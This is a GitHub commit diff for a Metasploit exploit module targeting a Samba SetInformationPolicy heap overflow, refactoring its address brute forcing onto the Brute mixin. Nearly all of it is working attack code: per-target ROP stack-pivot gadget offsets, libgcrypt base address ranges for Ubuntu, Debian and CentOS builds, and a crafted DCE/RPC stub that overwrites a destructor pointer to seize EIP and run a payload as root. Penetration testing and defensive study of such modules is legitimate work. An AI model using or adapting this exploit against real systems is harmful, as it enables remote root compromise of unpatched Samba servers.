Skip to content

Commit 35b3bf4

Browse files
author
jvazquez-r7
committed
back to the original Brute mixin
1 parent 24fe043 commit 35b3bf4

File tree

1 file changed

+85
-90
lines changed

1 file changed

+85
-90
lines changed

modules/exploits/linux/samba/setinfopolicy_heap.rb

Lines changed: 85 additions & 90 deletions
Original file line numberDiff line numberDiff line change
@@ -15,6 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote
1515
include Msf::Exploit::Remote::DCERPC
1616
include Msf::Exploit::Remote::SMB
1717
include Msf::Exploit::RopDb
18+
include Msf::Exploit::Brute
1819

1920
def initialize(info = {})
2021
super(update_info(info,
@@ -25,10 +26,11 @@ def initialize(info = {})
2526
call to SetInformationPolicy to set a PolicyAuditEventsInformation allows to
2627
trigger a heap overflow and finally execute arbitrary code with root privileges.
2728
28-
The module uses brute force to guess the system() address and redirect flow there
29-
in order to bypass NX. The start and stop addresses for brute forcing have been
30-
calculated empirically. On the other hand the module provides the StartBrute and
31-
StopBrute which allow the user to configure his own addresses.
29+
The module uses brute force to guess the stackpivot/rop chain or the system()
30+
address and redirect flow there in order to bypass NX. The start and stop addresses
31+
for brute forcing have been calculated empirically. On the other hand the module
32+
provides the StartBrute and StopBrute which allow the user to configure his own
33+
addresses.
3234
},
3335
'Author' =>
3436
[
@@ -57,29 +59,35 @@ def initialize(info = {})
5759
'DefaultOptions' => { "PrependSetreuid" => true, "PrependSetregid" => true, "PrependFork" => true, "AppendExit" => true, "WfsDelay" => 5},
5860
'Targets' =>
5961
[
60-
['2:3.5.11~dfsg-1ubuntu2 on Ubuntu 11.10',
62+
['2:3.5.11~dfsg-1ubuntu2 on Ubuntu Server 11.10',
6163
{
6264
'Arch' => ARCH_X86,
6365
'Offset' => 0x11c0,
6466
'Ropname' => 'Ubuntu 11.10 / 2:3.5.8~dfsg-1ubuntu2',
6567
'Stackpivot' => 0x0004393c, # xchg eax, esp ; ret in /lib/i386-linux-gnu/libgcrypt.so.11.7.0
66-
'Start' => 0xb67f1000 ,
67-
'Stop' => 0xb69ef000 ,
68-
'Step' => 0x1000,
68+
'Bruteforce' =>
69+
{
70+
'Start' => { 'libgcrypt_base' => 0xb67f1000 },
71+
'Stop' => { 'libgcrypt_base' => 0xb69ef000 },
72+
'Step' => 0x1000
73+
}
6974
}
7075
],
71-
['2:3.5.8~dfsg-1ubuntu2 on Ubuntu 11.10',
76+
['2:3.5.8~dfsg-1ubuntu2 on Ubuntu Server 11.10',
7277
{
7378
'Arch' => ARCH_X86,
7479
'Offset' => 0x11c0,
7580
'Ropname' => 'Ubuntu 11.10 / 2:3.5.8~dfsg-1ubuntu2',
7681
'Stackpivot' => 0x0004393c, # xchg eax, esp ; ret in /lib/i386-linux-gnu/libgcrypt.so.11.7.0
77-
'Start' => 0xb68d9000 ,
78-
'Stop' => 0xb6ad7000 ,
79-
'Step' => 0x1000,
82+
'Bruteforce' =>
83+
{
84+
'Start' => { 'libgcrypt_base' => 0xb68d9000 },
85+
'Stop' => { 'libgcrypt_base' => 0xb6ad7000 },
86+
'Step' => 0x1000
87+
}
8088
}
8189
],
82-
['2:3.5.8~dfsg-1ubuntu2 on Ubuntu 11.04',
90+
['2:3.5.8~dfsg-1ubuntu2 on Ubuntu Server 11.04',
8391
{
8492
'Arch' => ARCH_X86,
8593
'Offset' => 0x11c0,
@@ -89,9 +97,12 @@ def initialize(info = {})
8997
# we jump on "pop ecx, jmp dword [esi] to remove 4 bytes from the stack, then jump on pop esp.. gadget
9098
# to effectively stack pivot
9199
'Stackpivot_helper' => 0x00054e87, #pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret ;
92-
'Start' => 0xb6973000 ,
93-
'Stop' => 0xb6b71000 ,
94-
'Step' => 0x1000,
100+
'Bruteforce' =>
101+
{
102+
'Start' => { 'libgcrypt_base' => 0xb6973000 },
103+
'Stop' => { 'libgcrypt_base' => 0xb6b71000 },
104+
'Step' => 0x1000
105+
}
95106
}
96107
],
97108
# default version when installing 11.04 is 3.5.8 , 3.5.4 was PROPOSED on CD months before release date
@@ -110,15 +121,18 @@ def initialize(info = {})
110121
# }
111122
# }
112123
#],
113-
['2:3.5.4~dfsg-1ubuntu8 on Ubuntu 10.10',
124+
['2:3.5.4~dfsg-1ubuntu8 on Ubuntu Server 10.10',
114125
{
115126
'Arch' => ARCH_X86,
116127
'Offset' => 0x11c0,
117128
'Ropname' => 'Ubuntu 10.10 / 2:3.5.4~dfsg-1ubuntu8',
118129
'Stackpivot' => 0x0003e4bc, #xchg eax, esp ; ret in libgcrypt.so.11.5.3
119-
'Start' => 0xb694f000 ,
120-
'Stop' => 0xb6b4d000 ,
121-
'Step' => 0x1000,
130+
'Bruteforce' =>
131+
{
132+
'Start' => { 'libgcrypt_base' => 0xb694f000 },
133+
'Stop' => { 'libgcrypt_base' => 0xb6b4d000 },
134+
'Step' => 0x1000
135+
}
122136
}
123137
],
124138
['2:3.5.6~dfsg-3squeeze6 on Debian Squeeze',
@@ -127,9 +141,12 @@ def initialize(info = {})
127141
'Offset' => 0x11c0,
128142
'Ropname' => 'Debian Squeeze / 2:3.5.6~dfsg-3squeeze6',
129143
'Stackpivot' => 0x0003e30c, #xchg eax, esp ; ret in libgcrypt.so.11.5.3
130-
'Start' => 0xb6962000 ,
131-
'Stop' => 0xb6a61000 ,
132-
'Step' => 0x1000,
144+
'Bruteforce' =>
145+
{
146+
'Start' => { 'libgcrypt_base' => 0xb6962000 },
147+
'Stop' => { 'libgcrypt_base' => 0xb6a61000 },
148+
'Step' => 0x1000
149+
}
133150
}
134151
],
135152
['3.5.10-0.107.el5 on CentOS 5',
@@ -138,9 +155,12 @@ def initialize(info = {})
138155
'Offset' => 0x11c0,
139156
'Ropname' => '3.5.10-0.107.el5 on CentOS 5',
140157
'Stackpivot' => 0x0006ad7e, #xchg eax, esp ; xchg eax, ebx ; add eax, 0xCB313435 ; or ecx, eax ; ret in libgcrypt.so.11.5.2
141-
'Start' => 0x0037c000 ,
142-
'Stop' => 0x09e73000 ,
143-
'Step' => 0x1000,
158+
'Bruteforce' =>
159+
{
160+
'Start' => { 'libgcrypt_base' => 0x0037c000 },
161+
'Stop' => { 'libgcrypt_base' => 0x09e73000 },
162+
'Step' => 0x1000
163+
}
144164
}
145165
]
146166

@@ -151,78 +171,32 @@ def initialize(info = {})
151171

152172
register_options([
153173
OptInt.new("StartBrute", [ false, "Start Address For Brute Forcing" ]),
154-
OptInt.new("StopBrute", [ false, "Stop Address For Brute Forcing" ]),
155-
OptInt.new("Delay", [false, "This option sets the delay in ms between each thread", 750])
174+
OptInt.new("StopBrute", [ false, "Stop Address For Brute Forcing" ])
156175
], self.class)
157176

158177
end
159178

160179
def exploit
161-
start = target["Start"]
162-
stop = target["Stop"]
163-
step = target["Step"]
164-
delay = datastore["Delay"] || 750
180+
if target.bruteforce?
181+
bf = target.bruteforce
165182

166-
start = datastore["StartBrute"] if (datastore["StartBrute"] and datastore["StartBrute"] > 0 )
167-
stop = datastore["StopBrute"] if (datastore["StopBrute"] and datastore["StopBrute"] > 0 )
168-
169-
if start > stop
170-
raise ArgumentError, "StartBrute should not be larger than StopBrute"
171-
end
172-
173-
curr_addr = start
174-
i = 0
175-
count = (stop-start)/step
176-
177-
while curr_addr <= stop and not session_created?
178-
t = []
179-
1.upto(20) do
180-
break if session_created?
181-
i += 1
182-
t << framework.threads.spawn("Module(#{self.refname})-#{curr_addr}",false, curr_addr, i, count) do |addr, i, count|
183-
begin
184-
ok = false
185-
while ok != true
186-
begin
187-
do_one(addr, i, count)
188-
ok = true
189-
rescue ::Exception => e
190-
print_status("The following error was encountered: #{e.class} #{e}, retrying with same address")
191-
end
192-
end
193-
end
194-
end
195-
curr_addr += step
196-
break if curr_addr > stop
197-
select(nil, nil, nil, delay/1000.0)
183+
if datastore['StartBrute'] and datastore['StartBrute'] > 0
184+
bf.start_addresses['libgcrypt_base'] = datastore['StartBrute']
198185
end
199-
t.each {|x| x.join}
200-
end
201-
end
202-
203-
def check
204-
begin
205-
connect()
206-
smb_login()
207-
disconnect()
208186

209-
version = smb_peer_lm().scan(/Samba (\d\.\d.\d*)/).flatten[0]
210-
minor = version.scan(/\.(\d*)$/).flatten[0].to_i
211-
print_status("Version found: #{version}")
212-
213-
return Exploit::CheckCode::Appears if version =~ /^3\.4/ and minor < 16
214-
return Exploit::CheckCode::Appears if version =~ /^3\.5/ and minor < 14
215-
return Exploit::CheckCode::Appears if version =~ /^3\.6/ and minor < 4
216-
217-
return Exploit::CheckCode::Safe
187+
if datastore['StopBrute'] and datastore['StopBrute'] > 0
188+
bf.stop_addresses['libgcrypt_base'] = datastore['StopBrute']
189+
end
218190

219-
rescue ::Exception
220-
return CheckCode::Unknown
191+
if bf.start_addresses['libgcrypt_base'] > bf.stop_addresses['libgcrypt_base']
192+
raise ArgumentError, "StartBrute should not be larger than StopBrute"
193+
end
221194
end
195+
super
222196
end
223197

224-
def do_one(addr, i, count)
225-
print_status("Trying to exploit Samba with address 0x%.8x (%i/%i)..." % [addr, i, count])
198+
def brute_exploit(target_addrs)
199+
print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['libgcrypt_base'])
226200
datastore['DCERPC::fake_bind_multi'] = false
227201
datastore['DCERPC::max_frag_size'] = 4248
228202
datastore['DCERPC::smb_pipeio'] = 'trans'
@@ -248,13 +222,13 @@ def do_one(addr, i, count)
248222
tmp << "\x00"*(816-tmp.length)
249223
ret_addr = addr
250224
elsif target['Arch'] == ARCH_X86
251-
cmd << generate_rop_payload('samba', payload.encoded,{'target'=>target['Ropname'], 'base'=> addr })
225+
cmd << generate_rop_payload('samba', payload.encoded,{'target'=>target['Ropname'], 'base'=> target_addrs['libgcrypt_base'] })
252226
tmp = cmd
253227
tmp << "\x00"*(816-tmp.length)
254-
ret_addr = addr+target['Stackpivot']
228+
ret_addr = target_addrs['libgcrypt_base']+target['Stackpivot']
255229
# will help in stack pivot when it's not eax pointing to shellcode
256230
if target['Stackpivot_helper']
257-
helper = addr+target['Stackpivot_helper']
231+
helper = target_addrs['libgcrypt_base']+target['Stackpivot_helper']
258232
end
259233
end
260234

@@ -274,7 +248,7 @@ def do_one(addr, i, count)
274248
stub << NDR.long(helper) + 'A'*4 # next, prev
275249
stub << NDR.long(0) + NDR.long(0) # parent, child
276250
stub << NDR.long(0) # refs
277-
# stub << NDR.long(target_addrs['Ret']) # destructor # will become EIP
251+
# stub << NDR.long(target_addrs['Ret']) # destructor # will become EIP
278252
stub << NDR.long(ret_addr) # destructor # will become EIP
279253
stub << NDR.long(0) # name
280254
stub << "AAAA" # size
@@ -302,6 +276,27 @@ def do_one(addr, i, count)
302276
disconnect()
303277
end
304278

279+
def check
280+
begin
281+
connect()
282+
smb_login()
283+
disconnect()
284+
285+
version = smb_peer_lm().scan(/Samba (\d\.\d.\d*)/).flatten[0]
286+
minor = version.scan(/\.(\d*)$/).flatten[0].to_i
287+
print_status("Version found: #{version}")
288+
289+
return Exploit::CheckCode::Appears if version =~ /^3\.4/ and minor < 16
290+
return Exploit::CheckCode::Appears if version =~ /^3\.5/ and minor < 14
291+
return Exploit::CheckCode::Appears if version =~ /^3\.6/ and minor < 4
292+
293+
return Exploit::CheckCode::Safe
294+
295+
rescue ::Exception
296+
return CheckCode::Unknown
297+
end
298+
end
299+
305300
# Perform a DCE/RPC Function Call
306301
def call(dcerpc, function, data, do_recv = true)
307302

0 commit comments

Comments
 (0)